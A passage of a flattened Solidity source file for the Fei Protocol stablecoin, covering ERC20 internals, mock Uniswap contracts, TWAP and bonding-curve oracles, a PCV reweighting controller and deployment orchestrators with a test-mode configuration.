be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Destroys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See {_burn} and {_approve}. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount, "ERC20: burn amount exceeds allowance")); } } // File contracts/fei-protocol/mock/MockUniswapV2PairTrade.sol pragma solidity ^0.6.0; contract MockUniswapV2PairTrade { uint public price0CumulativeLast; uint public price1CumulativeLast; uint112 public reserve0; uint112 public reserve1; uint32 public blockTimestampLast; constructor( uint _price0CumulativeLast, uint _price1CumulativeLast, uint32 _blockTimestampLast, uint112 r0, uint112 r1 ) public { set(_price0CumulativeLast, _price1CumulativeLast, _blockTimestampLast); setReserves(r0, r1); } function getReserves() public view returns(uint112, uint112, uint32) { return (reserve0, reserve1, blockTimestampLast); } function simulateTrade(uint112 newReserve0, uint112 newReserve1, uint32 blockTimestamp) external { uint32 timeElapsed = blockTimestamp - blockTimestampLast; if (timeElapsed > 0 && reserve0 != 0 && reserve1 != 0) { price0CumulativeLast += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; price1CumulativeLast += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } reserve0 = newReserve0; reserve1 = newReserve1; blockTimestampLast = blockTimestamp; } function set(uint _price0CumulativeLast, uint _price1CumulativeLast, uint32 _blockTimestampLast) public { price0CumulativeLast = _price0CumulativeLast; price1CumulativeLast = _price1CumulativeLast; blockTimestampLast = _blockTimestampLast; } function setReserves(uint112 r0, uint112 r1) public { reserve0 = r0; reserve1 = r1; } } // File contracts/fei-protocol/mock/MockWeth.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract MockWeth is MockERC20 { constructor() public {} function deposit() external payable { mint(msg.sender, msg.value); } function withdraw(uint amount) external payable { _burn(msg.sender, amount); _msgSender().transfer(amount); } } // File contracts/fei-protocol/mock/RootsWrapper.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; contract RootsWrapper { using Roots for uint; function cubeRoot(uint x) public pure returns (uint) { return x.cubeRoot(); } function twoThirdsRoot(uint x) public pure returns (uint) { return x.twoThirdsRoot(); } function sqrt(uint x) public pure returns (uint) { return x.sqrt(); } } // File contracts/fei-protocol/oracle/BondingCurveOracle.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title IBondingCurveOracle implementation contract /// @author Fei Protocol /// @notice includes "thawing" on the initial purchase price at genesis. Time weights price from initial to true peg over a window. contract BondingCurveOracle is IBondingCurveOracle, CoreRef, Timed { using Decimal for Decimal.D256; IOracle public override uniswapOracle; IBondingCurve public override bondingCurve; bool public override killSwitch = true; /// @notice the price in dollars at initialization /// @dev this price will "thaw" to the peg price over `duration` window Decimal.D256 public initialPrice; event KillSwitchUpdate(bool _killSwitch); /// @notice BondingCurveOracle constructor /// @param _core Fei Core to reference /// @param _oracle Uniswap Oracle to report from /// @param _bondingCurve Bonding curve to report from /// @param _duration price thawing duration constructor( address _core, address _oracle, address _bondingCurve, uint32 _duration ) public CoreRef(_core) Timed(_duration) { uniswapOracle = IOracle(_oracle); bondingCurve = IBondingCurve(_bondingCurve); } function update() external override returns (bool) { return uniswapOracle.update(); } function read() external view override returns (Decimal.D256 memory, bool) { if (killSwitch) { return (Decimal.zero(), false); } (Decimal.D256 memory peg, bool valid) = getOracleValue(); return (thaw(peg), valid); } function setKillSwitch(bool _killSwitch) external override onlyGovernor { killSwitch = _killSwitch; emit KillSwitchUpdate(_killSwitch); } function init(Decimal.D256 memory _initialPrice) public override onlyGenesisGroup { killSwitch = false; initialPrice = _initialPrice; _initTimed(); } function thaw(Decimal.D256 memory peg) internal view returns (Decimal.D256 memory) { if (isTimeEnded()) { return peg; } uint t = uint(timestamp()); uint remaining = uint(remainingTime()); uint d = uint(duration); (Decimal.D256 memory uniswapPeg,) = uniswapOracle.read(); Decimal.D256 memory price = uniswapPeg.div(peg); Decimal.D256 memory weightedPrice = initialPrice.mul(remaining).add(price.mul(t)).div(d); return uniswapPeg.div(weightedPrice); } function getOracleValue() internal view returns(Decimal.D256 memory, bool) { if (bondingCurve.atScale()) { return uniswapOracle.read(); } return (bondingCurve.getCurrentPrice(), true); } } // File contracts/fei-protocol/oracle/IUniswapOracle.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title Uniswap oracle interface for Fei Protocol /// @author Fei Protocol /// @notice maintains the TWAP of a uniswap pair contract over a specified duration interface IUniswapOracle is IOracle { // ----------- Events ----------- event DurationUpdate(uint32 _duration); // ----------- Governor only state changing API ----------- /// @notice set a new duration for the TWAP window function setDuration(uint32 _duration) external; // ----------- Getters ----------- /// @notice the previous timestamp of the oracle snapshot function priorTimestamp() external returns(uint32); /// @notice the previous cumulative price of the oracle snapshot function priorCumulative() external returns(uint); /// @notice the window over which the initial price will "thaw" to the true peg price function duration() external returns(uint32); /// @notice the referenced uniswap pair contract function pair() external returns(IUniswapV2Pair); } // File @uniswap/v2-periphery/contracts/libraries/[email protected] pragma solidity >=0.5.0; // library with helper methods for oracles that are concerned with computing average prices library UniswapV2OracleLibrary { using FixedPoint for *; // helper function that returns the current block timestamp within the range of uint32, i.e. [0, 2**32 - 1] function currentBlockTimestamp() internal view returns (uint32) { return uint32(block.timestamp % 2 ** 32); } // produces the cumulative price using counterfactuals to save gas and avoid a call to sync. function currentCumulativePrices( address pair ) internal view returns (uint price0Cumulative, uint price1Cumulative, uint32 blockTimestamp) { blockTimestamp = currentBlockTimestamp(); price0Cumulative = IUniswapV2Pair(pair).price0CumulativeLast(); price1Cumulative = IUniswapV2Pair(pair).price1CumulativeLast(); // if time has elapsed since the last update on the pair, mock the accumulated price values (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast) = IUniswapV2Pair(pair).getReserves(); if (blockTimestampLast != blockTimestamp) { // subtraction overflow is desired uint32 timeElapsed = blockTimestamp - blockTimestampLast; // addition overflow is desired // counterfactual price0Cumulative += uint(FixedPoint.fraction(reserve1, reserve0)._x) * timeElapsed; // counterfactual price1Cumulative += uint(FixedPoint.fraction(reserve0, reserve1)._x) * timeElapsed; } } } // File contracts/fei-protocol/oracle/UniswapOracle.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; // Referencing Uniswap Example Simple Oracle // https://github.com/Uniswap/uniswap-v2-periphery/blob/master/contracts/examples/ExampleOracleSimple.sol /// @title IUniswapOracle implementation contract /// @author Fei Protocol contract UniswapOracle is IUniswapOracle, CoreRef { using Decimal for Decimal.D256; IUniswapV2Pair public override pair; bool private isPrice0; uint public override priorCumulative; uint32 public override priorTimestamp; Decimal.D256 private twap = Decimal.zero(); uint32 public override duration; bool public override killSwitch; /// @notice UniswapOracle constructor /// @param _core Fei Core for reference /// @param _pair Uniswap Pair to provide TWAP /// @param _duration TWAP duration /// @param _isPrice0 flag for using token0 or token1 for cumulative on Uniswap constructor( address _core, address _pair, uint32 _duration, bool _isPrice0 ) public CoreRef(_core) { pair = IUniswapV2Pair(_pair); // Relative to USD per ETH price isPrice0 = _isPrice0; duration = _duration; _init(); } function update() external override returns (bool) { (uint price0Cumulative, uint price1Cumulative, uint32 currentTimestamp) = UniswapV2OracleLibrary.currentCumulativePrices(address(pair)); uint32 deltaTimestamp = currentTimestamp - priorTimestamp; if(currentTimestamp <= priorTimestamp || deltaTimestamp < duration) { return false; } uint currentCumulative = _getCumulative(price0Cumulative, price1Cumulative); uint deltaCumulative = (currentCumulative - priorCumulative) / 1e12; Decimal.D256 memory _twap = Decimal.ratio(2**112, deltaCumulative / deltaTimestamp); twap = _twap; priorTimestamp = currentTimestamp; priorCumulative = currentCumulative; emit Update(_twap.asUint256()); return true; } function read() external view override returns (Decimal.D256 memory, bool) { bool valid = !(killSwitch || twap.isZero()); return (twap, valid); } function setKillSwitch(bool _killSwitch) external override onlyGovernor { killSwitch = _killSwitch; emit KillSwitchUpdate(_killSwitch); } function setDuration(uint32 _duration) external override onlyGovernor { duration = _duration; emit DurationUpdate(_duration); } function _init() internal { uint price0Cumulative = pair.price0CumulativeLast(); uint price1Cumulative = pair.price1CumulativeLast(); (,, uint32 currentTimestamp) = pair.getReserves(); priorTimestamp = currentTimestamp; priorCumulative = _getCumulative(price0Cumulative, price1Cumulative); } function _getCumulative(uint price0Cumulative, uint price1Cumulative) internal view returns (uint) { return isPrice0 ? price0Cumulative : price1Cumulative; } } // File contracts/fei-protocol/orchestration/BondingCurveOrchestrator.sol pragma solidity ^0.6.0; contract BondingCurveOrchestrator is Ownable { function init( address core, address uniswapOracle, address ethUniswapPCVDeposit, uint scale, uint32 thawingDuration, uint32 bondingCurveIncentiveDuration, uint bondingCurveIncentiveAmount ) public onlyOwner returns( address ethBondingCurve, address bondingCurveOracle ) { uint[] memory ratios = new uint[](1); ratios[0] = 10000; address[] memory allocations = new address[](1); allocations[0] = address(ethUniswapPCVDeposit); ethBondingCurve = address(new EthBondingCurve( scale, core, allocations, ratios, uniswapOracle, bondingCurveIncentiveDuration, bondingCurveIncentiveAmount )); bondingCurveOracle = address(new BondingCurveOracle( core, uniswapOracle, ethBondingCurve, thawingDuration )); return ( ethBondingCurve, bondingCurveOracle ); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File @uniswap/v2-periphery/contracts/interfaces/[email protected] pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // File @openzeppelin/contracts/math/[email protected] // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // File contracts/fei-protocol/token/IUniswapIncentive.sol pragma solidity ^0.6.2; pragma experimental ABIEncoderV2; /// @title Uniswap trading incentive contract /// @author Fei Protocol /// @dev incentives are only appplied if the contract is appointed as a Minter or Burner, otherwise skipped interface IUniswapIncentive is IIncentive { // ----------- Events ----------- event TimeWeightUpdate(uint _weight, bool _active); event GrowthRateUpdate(uint _growthRate); event ExemptAddressUpdate(address indexed _account, bool _isExempt); event SellAllowedAddressUpdate(address indexed _account, bool _isSellAllowed); // ----------- Governor only state changing api ----------- /// @notice set an address to be exempted from Uniswap trading incentives /// @param account the address to update /// @param isExempt a flag for whether to exempt or unexempt function setExemptAddress(address account, bool isExempt) external; /// @notice set an address to be able to send tokens to Uniswap /// @param account the address to update /// @param isAllowed a flag for whether the account is allowed to sell or not function setSellAllowlisted(address account, bool isAllowed) external; /// @notice set the time weight growth function function setTimeWeightGrowth(uint32 growthRate) external; /// @notice sets all of the time weight parameters // @param blockNo the stored last block number of the time weight /// @param weight the stored last time weight /// @param growth the growth rate of the time weight per block /// @param active a flag signifying whether the time weight is currently growing or not function setTimeWeight(uint32 weight, uint32 growth, bool active) external; // ----------- Getters ----------- /// @notice return true if burn incentive equals mint function isIncentiveParity() external view returns (bool); /// @notice returns true if account is marked as exempt function isExemptAddress(address account) external view returns (bool); /// @notice return true if the account is approved to sell to the Uniswap pool function isSellAllowlisted(address account) external view returns (bool); /// @notice the granularity of the time weight and growth rate // solhint-disable-next-line func-name-mixedcase function TIME_WEIGHT_GRANULARITY() external view returns(uint32); /// @notice the growth rate of the time weight per block function getGrowthRate() external view returns (uint32); /// @notice the time weight of the current block /// @dev factors in the stored block number and growth rate if active function getTimeWeight() external view returns (uint32); /// @notice returns true if time weight is active and growing at the growth rate function isTimeWeightActive() external view returns (bool); /// @notice get the incentive amount of a buy transfer /// @param amount the FEI size of the transfer /// @return incentive the FEI size of the mint incentive /// @return weight the time weight of thhe incentive /// @return initialDeviation the Decimal deviation from peg before a transfer /// @return finalDeviation the Decimal deviation from peg after a transfer /// @dev calculated based on a hypothetical buy, applies to any ERC20 FEI transfer from the pool function getBuyIncentive(uint amount) external view returns( uint incentive, uint32 weight, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ); /// @notice get the burn amount of a sell transfer /// @param amount the FEI size of the transfer /// @return penalty the FEI size of the burn incentive /// @return initialDeviation the Decimal deviation from peg before a transfer /// @return finalDeviation the Decimal deviation from peg after a transfer /// @dev calculated based on a hypothetical sell, applies to any ERC20 FEI transfer to the pool function getSellPenalty(uint amount) external view returns( uint penalty, Decimal.D256 memory initialDeviation, Decimal.D256 memory finalDeviation ); } // File contracts/fei-protocol/pcv/IUniswapPCVController.sol pragma solidity ^0.6.2; /// @title a Uniswap PCV Controller interface /// @author Fei Protocol interface IUniswapPCVController { // ----------- Events ----------- event Reweight(address indexed _caller); event PCVDepositUpdate(address indexed _pcvDeposit); event ReweightIncentiveUpdate(uint _amount); event ReweightMinDistanceUpdate(uint _basisPoints); // ----------- State changing API ----------- /// @notice reweights the linked PCV Deposit to the peg price. Needs to be reweight eligible function reweight() external; // ----------- Governor only state changing API ----------- /// @notice reweights regardless of eligibility function forceReweight() external; /// @notice sets the target PCV Deposit address function setPCVDeposit(address _pcvDeposit) external; /// @notice sets the reweight incentive amount function setReweightIncentive(uint amount) external; /// @notice sets the reweight min distance in basis points function setReweightMinDistance(uint basisPoints) external; // ----------- Getters ----------- /// @notice returns the linked pcv deposit contract function pcvDeposit() external returns(IPCVDeposit); /// @notice returns the linked Uniswap incentive contract function incentiveContract() external returns(IUniswapIncentive); /// @notice gets the FEI reward incentive for reweighting function reweightIncentiveAmount() external returns(uint); /// @notice signal whether the reweight is available. Must have incentive parity and minimum distance from peg function reweightEligible() external view returns(bool); } // File contracts/fei-protocol/pcv/EthUniswapPCVController.sol pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; /// @title a IUniswapPCVController implementation for ETH /// @author Fei Protocol contract EthUniswapPCVController is IUniswapPCVController, UniRef { using Decimal for Decimal.D256; IPCVDeposit public override pcvDeposit; IUniswapIncentive public override incentiveContract; uint public override reweightIncentiveAmount; Decimal.D256 public minDistanceForReweight; /// @notice EthUniswapPCVController constructor /// @param _core Fei Core for reference /// @param _pcvDeposit PCV Deposit to reweight /// @param _oracle oracle for reference /// @param _incentiveContract incentive contract for reference /// @param _incentiveAmount amount of FEI for triggering a reweight /// @param _minDistanceForReweightBPs minimum distance from peg to reweight in basis points /// @param _pair Uniswap pair contract to reweight /// @param _router Uniswap Router constructor ( address _core, address _pcvDeposit, address _oracle, address _incentiveContract, uint _incentiveAmount, uint _minDistanceForReweightBPs, address _pair, address _router ) public UniRef(_core, _pair, _router, _oracle) { pcvDeposit = IPCVDeposit(_pcvDeposit); incentiveContract = IUniswapIncentive(_incentiveContract); reweightIncentiveAmount = _incentiveAmount; minDistanceForReweight = Decimal.ratio(_minDistanceForReweightBPs, 10000); } receive() external payable {} function reweight() external override postGenesis { require(reweightEligible(), "EthUniswapPCVController: Not at incentive parity or not at min distance"); _reweight(); _incentivize(); } function forceReweight() external override onlyGovernor { _reweight(); } function setPCVDeposit(address _pcvDeposit) external override onlyGovernor { pcvDeposit = IPCVDeposit(_pcvDeposit); emit PCVDepositUpdate(_pcvDeposit); } function setReweightIncentive(uint amount) external override onlyGovernor { reweightIncentiveAmount = amount; emit ReweightIncentiveUpdate(amount); } function setReweightMinDistance(uint basisPoints) external override onlyGovernor { minDistanceForReweight = Decimal.ratio(basisPoints, 10000); emit ReweightMinDistanceUpdate(basisPoints); } function reweightEligible() public view override returns(bool) { bool magnitude = getDistanceToPeg().greaterThan(minDistanceForReweight); bool time = incentiveContract.isIncentiveParity(); return magnitude && time; } function _incentivize() internal ifMinterSelf { fei().mint(msg.sender, reweightIncentiveAmount); } function _reweight() internal { _withdrawAll(); _returnToPeg(); uint balance = address(this).balance; pcvDeposit.deposit{value: balance}(balance); _burnFeiHeld(); emit Reweight(msg.sender); } function _returnToPeg() internal { (uint feiReserves, uint ethReserves) = getReserves(); if (feiReserves == 0 || ethReserves == 0) { return; } updateOracle(); require(isBelowPeg(peg()), "EthUniswapPCVController: already at or above peg"); uint amountEth = getAmountToPegOther(); _swapEth(amountEth, ethReserves, feiReserves); } function _swapEth(uint amountEth, uint ethReserves, uint feiReserves) internal { uint balance = address(this).balance; uint amount = Math.min(amountEth, balance); uint amountOut = UniswapV2Library.getAmountOut(amount, ethReserves, feiReserves); IWETH weth = IWETH(router.WETH()); weth.deposit{value: amount}(); weth.transfer(address(pair), amount); (uint amount0Out, uint amount1Out) = pair.token0() == address(weth) ? (uint(0), amountOut) : (amountOut, uint(0)); pair.swap(amount0Out, amount1Out, address(this), new bytes(0)); } function _withdrawAll() internal { uint value = pcvDeposit.totalValue(); pcvDeposit.withdraw(address(this), value); } } // File contracts/fei-protocol/orchestration/ControllerOrchestrator.sol pragma solidity ^0.6.0; contract ControllerOrchestrator is Ownable { function init( address core, address bondingCurveOracle, address uniswapIncentive, address ethUniswapPCVDeposit, address pair, address router, uint reweightIncentive, uint reweightMinDistanceBPs ) public onlyOwner returns(address) { return address(new EthUniswapPCVController( core, ethUniswapPCVDeposit, bondingCurveOracle, uniswapIncentive, reweightIncentive, reweightMinDistanceBPs, pair, router )); } function detonate() public onlyOwner { selfdestruct(payable(owner())); } } // File @uniswap/v2-core/contracts/interfaces/[email protected] pragma solidity >=0.5.0; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } // File contracts/fei-protocol/orchestration/CoreOrchestrator.sol pragma solidity ^0.6.0; interface IPCVDepositOrchestrator { function init( address core, address pair, address router, address oraclePair, uint32 twapDuration, bool price0 ) external returns( address ethUniswapPCVDeposit, address uniswapOracle ); function detonate() external; } interface IBondingCurveOrchestrator { function init( address core, address uniswapOracle, address ethUniswapPCVDeposit, uint scale, uint32 thawingDuration, uint32 bondingCurveIncentiveDuration, uint bondingCurveIncentiveAmount ) external returns( address ethBondingCurve, address bondingCurveOracle ); function detonate() external; } interface IIncentiveOrchestrator { function init( address core, address bondingCurveOracle, address fei, address router, uint32 growthRate ) external returns(address uniswapIncentive); function detonate() external; } interface IRouterOrchestrator { function init( address pair, address weth, address incentive ) external returns(address ethRouter); function detonate() external; } interface IControllerOrchestrator { function init( address core, address bondingCurveOracle, address uniswapIncentive, address ethUniswapPCVDeposit, address fei, address router, uint reweightIncentive, uint reweightMinDistanceBPs ) external returns(address ethUniswapPCVController); function detonate() external; } interface IIDOOrchestrator { function init( address core, address admin, address tribe, address pair, address router, uint32 releaseWindow ) external returns ( address ido, address timelockedDelegator ); function detonate() external; } interface IGenesisOrchestrator { function init( address core, address ethBondingCurve, address ido, address tribeFeiPair, address oracle, uint32 genesisDuration, uint maxPriceBPs, uint exhangeRateDiscount, uint32 poolDuration ) external returns (address genesisGroup, address pool); function detonate() external; } interface IGovernanceOrchestrator { function init(address admin, address tribe, uint timelockDelay) external returns ( address governorAlpha, address timelock ); function detonate() external; } interface ITribe { function setMinter(address minter_) external; } // solhint-disable-next-line max-states-count contract CoreOrchestrator is Ownable { address public admin; bool private constant TEST_MODE = true; // ----------- Uniswap Addresses ----------- address public constant ETH_USDC_UNI_PAIR = address(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc); address public constant ROUTER = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant WETH = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); IUniswapV2Factory public constant UNISWAP_FACTORY = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); address public ethFeiPair; address public tribeFeiPair; // ----------- Time periods ----------- uint32 constant public RELEASE_WINDOW = TEST_MODE ? 4 days : 4 * 365 days; uint public constant TIMELOCK_DELAY = TEST_MODE ? 1 hours : 3 days; uint32 public constant GENESIS_DURATION = TEST_MODE ? 1 minutes : 3 days; uint32 public constant POOL_DURATION = TEST_MODE ? 2 days : 2 * 365 days; uint32 public constant THAWING_DURATION = TEST_MODE ? 4 minutes : 4 weeks; uint32 public constant UNI_ORACLE_TWAP_DURATION = TEST_MODE ? 1 : 10 minutes; // 10 min twap uint32 public constant BONDING_CURVE_INCENTIVE_DURATION = TEST_MODE ? 1 : 1 days; // 1 day duration // ----------- Params ----------- uint public constant MAX_GENESIS_PRICE_BPS = 9000; uint public constant EXCHANGE_RATE_DISCOUNT = 10; uint32 public constant INCENTIVE_GROWTH_RATE = TEST_MODE ? 1_000_000 : 333; // about 1 unit per hour assuming 12s block time uint public constant SCALE = 250_000_000e18; uint public constant BONDING_CURVE_INCENTIVE = 500e18; uint public constant REWEIGHT_INCENTIVE = 500e18; uint public constant MIN_REWEIGHT_DISTANCE_BPS = 100; bool public constant USDC_PER_ETH_IS_PRICE_0 = true; uint public tribeSupply; uint public constant IDO_TRIBE_PERCENTAGE = 20; uint public constant GENESIS_TRIBE_PERCENTAGE = 10; uint public constant DEV_TRIBE_PERCENTAGE = 20; uint public constant STAKING_TRIBE_PERCENTAGE = 20; // ----------- Orchestrators ----------- IPCVDepositOrchestrator private pcvDepositOrchestrator; IBondingCurveOrchestrator private bcOrchestrator; IIncentiveOrchestrator private incentiveOrchestrator; IControllerOrchestrator private controllerOrchestrator; IIDOOrchestrator private idoOrchestrator; IGenesisOrchestrator private genesisOrchestrator; IGovernanceOrchestrator private governanceOrchestrator; IRouterOrchestrator private routerOrchestrator; // ----------- Deployed Contracts ----------- Core public core; address public fei; address public tribe; address public feiRouter; address public ethUniswapPCVDeposit; address public ethBondingCurve; address public uniswapOracle; address public bondingCurveOracle; address public uniswapIncentive; address public ethUniswapPCVController; address public ido; address public timelockedDelegator; address public genesisGroup; address public pool; address public governorAlpha; address public timelock; constructor( address _pcvDepositOrchestrator, address _bcOrchestrator, address _incentiveOrchestrator, address _controllerOrchestrator, address _idoOrchestrator, address _genesisOrchestrator, address _governanceOrchestrator, address _routerOrchestrator, address _admin ) public { core = new Core(); tribe = address(core.tribe()); fei = address(core.fei()); core.grantRevoker(_admin); pcvDepositOrchestrator = IPCVDepositOrchestrator(_pcvDepositOrchestrator); bcOrchestrator = IBondingCurveOrchestrator(_bcOrchestrator); incentiveOrchestrator = IIncentiveOrchestrator(_incentiveOrchestrator); idoOrchestrator = IIDOOrchestrator(_idoOrchestrator); controllerOrchestrator = IControllerOrchestrator(_controllerOrchestrator); genesisOrchestrator = IGenesisOrchestrator(_genesisOrchestrator); governanceOrchestrator = IGovernanceOrchestrator(_governanceOrchestrator); routerOrchestrator = IRouterOrchestrator(_routerOrchestrator); admin = _admin; tribeSupply = IERC20(tribe).totalSupply(); if (TEST_MODE) { core.grantGovernor(_admin); } } function initPairs() public onlyOwner { ethFeiPair = UNISWAP_FACTORY.createPair(fei, WETH); tribeFeiPair = UNISWAP_FACTORY.createPair(tribe, fei); } function initPCVDeposit() public onlyOwner() { (ethUniswapPCVDeposit, uniswapOracle) = pcvDepositOrchestrator.init( address(core), ethFeiPair, ROUTER, ETH_USDC_UNI_PAIR, UNI_ORACLE_TWAP_DURATION, USDC_PER_ETH_IS_PRICE_0 ); core.grantMinter(ethUniswapPCVDeposit); pcvDepositOrchestrator.detonate(); } function initBondingCurve() public onlyOwner { (ethBondingCurve, bondingCurveOracle) = bcOrchestrator.init( address(core), uniswapOracle, ethUniswapPCVDeposit, SCALE, THAWING_DURATION, BONDING_CURVE_INCENTIVE_DURATION, BONDING_CURVE_INCENTIVE ); core.grantMinter(ethBondingCurve); IOracleRef(ethUniswapPCVDeposit).setOracle(bondingCurveOracle); bcOrchestrator.detonate(); } function initIncentive() public onlyOwner { uniswapIncentive = incentiveOrchestrator.init( address(core), bondingCurveOracle, ethFeiPair, ROUTER, INCENTIVE_GROWTH_RATE ); core.grantMinter(uniswapIncentive); core.grantBurner(uniswapIncentive); IFei(fei).setIncentiveContract(ethFeiPair, uniswapIncentive); incentiveOrchestrator.detonate(); } function initRouter() public onlyOwner { feiRouter = routerOrchestrator.init(ethFeiPair, WETH, uniswapIncentive); IUniswapIncentive(uniswapIncentive).setSellAllowlisted(feiRouter, true); IUniswapIncentive(uniswapIncentive).setSellAllowlisted(ethUniswapPCVDeposit, true); IUniswapIncentive(uniswapIncentive).setSellAllowlisted(ethUniswapPCVController, true); } function initController() public onlyOwner { ethUniswapPCVController = controllerOrchestrator.init( address(core), bondingCurveOracle, uniswapIncentive, ethUniswapPCVDeposit, ethFeiPair, ROUTER, REWEIGHT_INCENTIVE, MIN_REWEIGHT_DISTANCE_BPS ); core.grantMinter(ethUniswapPCVController); core.grantPCVController(ethUniswapPCVController); IUniswapIncentive(uniswapIncentive).setExemptAddress(ethUniswapPCVDeposit, true); IUniswapIncentive(uniswapIncentive).setExemptAddress(ethUniswapPCVController, true); controllerOrchestrator.detonate(); } function initIDO() public onlyOwner { (ido, timelockedDelegator) = idoOrchestrator.init(address(core), admin, tribe, tribeFeiPair, ROUTER, RELEASE_WINDOW); core.grantMinter(ido); core.allocateTribe(ido, tribeSupply * IDO_TRIBE_PERCENTAGE / 100); core.allocateTribe(timelockedDelegator, tribeSupply * DEV_TRIBE_PERCENTAGE / 100); idoOrchestrator.detonate(); } function initGenesis() public onlyOwner { (genesisGroup, pool) = genesisOrchestrator.init( address(core), ethBondingCurve, ido, tribeFeiPair, bondingCurveOracle, GENESIS_DURATION, MAX_GENESIS_PRICE_BPS, EXCHANGE_RATE_DISCOUNT, POOL_DURATION ); core.setGenesisGroup(genesisGroup); core.allocateTribe(genesisGroup, tribeSupply * GENESIS_TRIBE_PERCENTAGE / 100); core.allocateTribe(pool, tribeSupply * STAKING_TRIBE_PERCENTAGE / 100); genesisOrchestrator.detonate(); } function initGovernance() public onlyOwner { (governorAlpha, timelock) = governanceOrchestrator.init( admin, tribe, TIMELOCK_DELAY ); governanceOrchestrator.detonate(); core.grantGovernor(timelock); ITribe(tribe).setMinter(timelock); } } // File contracts/fei-protocol/utils/SafeMath128.sol // SPDX-License-Identifier: MIT // SafeMath for 128 bit integers inspired by OpenZeppelin SafeMath pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath128 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint128 a, uint128 b) internal pure returns (uint128) { uint128 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b) internal pure returns (uint128) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint128 a, uint128 b, string memory errorMessage) internal pure returns (uint128) { require(b <= a, errorMessage); uint128 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint128 a, uint128 b) internal pure returns (uint128) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint128 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint128 a, uint128 b) internal pure returns (uint128) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves 